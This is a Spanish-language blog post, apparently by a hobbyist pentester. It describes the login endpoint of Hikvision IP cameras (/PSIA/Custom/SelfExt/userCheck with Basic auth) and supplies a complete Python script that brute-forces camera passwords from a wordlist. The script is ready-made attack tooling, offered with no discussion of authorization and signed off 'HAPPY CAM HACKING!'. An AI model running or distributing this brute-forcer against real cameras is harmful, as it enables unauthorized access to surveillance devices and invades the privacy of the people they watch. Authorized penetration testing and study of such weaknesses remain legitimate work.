Hola a todos. Hoy quiero dejarles un pequeño script (antes de publicar un post un poco mas largo y entretenido) que puede ayudar a la hora de realizar un pentest. Me parece interesante dado que no hay mucho material online (obviamente encontramos herramientas de fuerza bruta pero no una especifica para este tipo de cámaras). Además, no todos tenemos acceso a una de estas bellezas para poder conocer como responde ante un login existoso y así poder codear algo.
Es algo muy sencillo (son un par de líneas), pero como les decía, es necesario conocer a que URI hace el request del usuario, como la hace y como responde.
Una vez ingresadas nuestras credenciales, la aplicación realiza un GET a la URI
/PSIA/Custom/SelfExt/userCheck
utilizando el método de autenticación Basic (el cual, como sabemos, encodea la información en Base64)
Si el login falla obtenemos el siguiente response:
En cambio, si es exitoso:
Teniendo esto en cuenta, podemos utilizar expresiones regulares, analizar el contenido de la respuesta y verificar su nuestras credenciales han servido.
Entonces, para resumir, lo que debemos hacer es el siguiente loop:
1. Hacer un GET a la URI /PSIA/Custom/SelfExt/userCheck
2. Agregar el header para authentication basic
3. Encodear en base64 las credenciales ingresadas (formato user:pass)
4. Analizar el contenido de la respuesta en busca del código 200 o el "OK"
Teniendo esto en cuenta, armamos nuestro script:
import requests
import re
from argparse import ArgumentParser
import base64
parser = ArgumentParser(description="Hikvision IP Cam brute forcer")
parser.add_argument("-t", "--target", dest="target",
help="Target")
parser.add_argument("-u", "--user", dest="username",
help="User")
parser.add_argument("-p", "--pass", dest="password",
help="Password")
args = parser.parse_args()
user = args.username
f = open(args.password, 'r')
for line in f:
encoded = base64.b64encode(user+':'+str(line).replace('\n', ''))
print '[+]Trying with:',str(line)
headers = {'Authorization': 'Basic '+encoded}
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/PSIA/Custom/SelfExt/userCheck', headers=headers)
matches = re.findall('200', s.text);
if len(matches) == 0:
print 'Shit'
else:
print 'Success!'
break
Saludos y...
HAPPY CAM HACKING!